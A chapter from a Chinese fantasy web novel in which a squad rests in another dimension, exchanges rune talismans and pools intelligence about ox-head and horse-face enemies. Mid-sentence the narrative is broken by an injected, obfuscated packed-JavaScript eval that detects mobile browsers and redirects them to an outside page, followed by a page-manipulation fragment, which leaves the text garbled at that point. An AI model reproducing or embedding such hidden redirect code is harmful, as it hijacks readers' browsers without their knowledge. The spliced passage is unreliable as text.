景叙阳解开她盘起的头发,帮她理顺,在她额上轻吻一下,用只有两人能听见的声音说道:“睡吧,我在这里,放心。” 姜蝉转过拧了半天的脖子,啧啧两声:“还是老话说得好,小别胜新婚,在哪都适用。” 靳炎没接话。徐归尘突然问道:“看样子他们感情不差,为什么离婚?” “不知道,”姜蝉实话实说,“我问过好几次,夜聆枢都不告诉我。其实他们也没离多久,进异空间前一个月离的。” “是你们队长提的离婚吧?”这段时间的相处,他很明显能看出两人不同的态度。 姜蝉干笑两声:“肯定是。” 景叙阳听夜聆枢的呼吸平稳下来,小心地把她放平,自己爬起来,再替她掖好毛毯。 靳炎肩上被人拍了两下,转身见景叙阳在身边坐下。 “我守夜吧,你们这段时间辛苦了。”景叙阳对靳炎说道。 靳炎还没开口,姜蝉问了一句:“你伤好了?” 景叙阳点了点头:“结痂了。” 欧冶凑过来:“炎哥徐哥,你们今天战斗辛苦了,我和景哥守夜吧。” 靳炎还有些不放心,姜蝉说:“别操心了,你也不是铁打的,休息好了才能战斗。有什么事让他们叫你就行了。” 欧冶啄米一样点头,靳炎和徐归尘交换一下眼色,同意了这个安排。 姜蝉正要起身,听到景叙阳叫她的名字,于是蹲下来。 “帮我多留意下聆枢的情况。”景叙阳低声说。 姜蝉勾起嘴角:“放心。” 其他人都歇下,在灯前守着的就只剩下欧冶和景叙阳。 欧冶终于逮到了一个和景叙阳单独说话的机会,挪到他旁边:“景哥,你那符文怎么用的?能不能教教我?” 景叙阳侧过脸,面孔被昏暗的光蒙上一层柔和:“符文有很多种,你想拿来做什么?” “都有哪些符文?”欧冶上一次听符文还是上学期间。那时符文作为历史通识课的一部分,在课本上一笔带过作为了解。 景叙阳见他确实感兴趣,用手指在地上画着:“主要分为功能型和辅助型两类,功能型符文比较复杂,我还没深入研究。增益型符文一般比较简单,比如灵能放大符文,追踪符文,能量转向符文,可以用在很多地方。” 他就着地上的沙土画了三个欧冶从来没见过的符号:“最常用的就是这三个,对你来讲,放大和追踪应该用的比较多。” 欧冶连连点头:“怎么画,景哥教我一下!” 景叙阳说:“符文需要特殊工具绘制才能发挥功能,直接画没作用。” 欧冶一下蔫巴了:“哦。” 景叙阳想了想:“我画几个给你,需要的时候可以直接用。” 欧冶眼睛一亮:“好好好,谢谢哥!” 景叙阳掏出他那叠便签纸,拿出那根钢笔,垫在膝盖上写写画画。欧冶盯着他的笔,看到笔尖流出带着微光的墨水,心里暗自称奇。 “用的时候按在武器上,施加灵能就会贴上去,然后用水或者火把纸化掉,符文就附在武器上了,”景叙阳把三张画好的便签纸递给欧冶,“追踪的符文用起来有些复杂,这三张是放大符文。” 欧冶双手接过来,举起来对着光,浅色的墨迹中似乎有灵能在流动。他宝贝似地收进内层的口袋,转回来对景叙阳说:“谢谢哥!” 景叙阳弯了弯唇:“希望有用。” 这小子平时大大咧咧,心思倒是单纯,景叙阳对他印象不错。 安静了一会儿,欧冶突然神神秘秘地凑过来。景叙阳以为他有什么要紧事,结果欧冶问他:“景哥,你跟队长为啥离婚啊?” 一片沉默中,景叙阳慢慢转过头看了他一眼。 之前跟姜蝉聊天,她说欧冶啥都好,就是缺心眼。景叙阳问哪里缺心眼,姜蝉的评价是:哪壶不开提哪壶。 太精辟了。 景叙阳盯着他:“你很想知道吗?” 欧冶感觉气氛不对,眼神乱飘:“也,不是很想。” 景叙阳偏过头:“那就不用说了。” 他起身走到夜聆枢身边,蹲下来俯低身子,见她眉心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16704773|188629||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有几道皱痕,伸手轻轻抚平。 姜蝉躺在旁边看了全程,憋着一声没出。 景叙阳回到灯光前,欧冶又开始问:“景哥,我一直想问,进入异空间的传送门有严密监控,你怎么进来的?” 不光欧冶,小队所有人都想问这个问题。 “拿你们夜队的备用卡刷进来的。”这个回答半真半假。 欧冶一头雾水:“传送门不是要技术员权限才能开吗?” 景叙阳睁眼说瞎话:“不知道,随便混进来的。” 欧冶挠了挠头,又搓了搓手。 怎么感觉景叙阳有时候很好说话,有时候又捉摸不透。 天亮之后第一个爬起来的是姜蝉。 她活动了一下关节,往四周看了一圈,见欧冶和景叙阳坐着,其他人都还没醒。 “早,蝉姐。”欧冶说完打了个哈欠,赶紧掐了自己一把。 景叙阳靠在墙边闭目养神,听见动静睁开眼。 姜蝉来到他身边:“我看看你的伤。” 景叙阳转过去拉下领口。姜蝉见伤口正常愈合,放心下来:“可以拆线了。” 她拿过医药箱,三两下处理好,又叮嘱了景叙阳几句话。 就在这段时间里,其他人陆续醒来。欧冶看夜聆枢还在那边躺着:“要不要把队长叫起来?” “先别叫她,”姜蝉合上药箱,“药效还有大约半个小时,到时候自然就醒了。” 景叙阳看了夜聆枢的情况,依然睡得很沉。 之前在家里也很少见她睡得这么沉,他心里很不是滋味。 “接着昨天的话往下说,你们还知道什么?”夜聆枢不在,靳炎接她的班。 姜蝉想了想:“这群牛头马面的灵能都不太强,大部分不超过五级,三级四级的很多。但是他们的皮很厚,远超五级灵师的防御力。” “化作人形的时候防御力会下降。”蓝予澄补充道。 他们点头,这些已经在之前的战斗中被证实了。 “有几个实力比较强,最强的是昨晚房顶上那个牛头,保守估计有七级。他手底下有两个牛头两个马面,都是六级左右。”姜蝉说。 徐归尘问道:“拿镰刀的黑衣人是什么来路?” 姜蝉疑惑:“黑衣人?” 欧冶接过话:“昨天有一个黑衣人来到工厂,杀了好些牛头马面,好像跟他们有仇。” “这个我还真没听他们说。小澄,你知道吗?”她转头问蓝予澄。 蓝予澄垂下眼帘思考片刻:“没听他们提起过。但是昨天逃出来的时候,我听到有人喊了一句什么大人。” 几人面面相觑,昨天太混乱,谁也没注意周围人具体说了什么。 “你们在那里做了什么?”靳炎问道。 姜蝉叹了口气:“盖祭坛。他们不知道从哪里搬来的石头和水泥,带你们去看那个台阶,有好几块都是我们盖的。” 景叙阳感觉掌心攥着的手指略微蜷缩了一下,低头看向夜聆枢。她皱着眉头,睫毛颤动几下,似乎是醒了。 他正要俯身,她睁开眼,抬手按了按眉心。 夜聆枢一看所有人都围在那边,从地上弹起来:“你们怎么不叫我?” “你醒了,”姜蝉上前来,“想着药效没过,让你多睡会。” 她明显感觉到夜聆枢压不住的烦躁:“感觉怎么样?好点没?” “嗯,没事了。”夜聆枢放下手,又恢复平时那副严肃的神情。 景叙阳替她披上外套,趁机贴在她耳边说了三个字“起床气”。夜聆枢瞪了他一眼要踹他。景叙阳轻笑一声走开。 他们把刚刚交流的信息和夜聆枢讲了一遍,将信息整合一番。正商量下一步计划,蓝予澄突然说:“有人靠近!”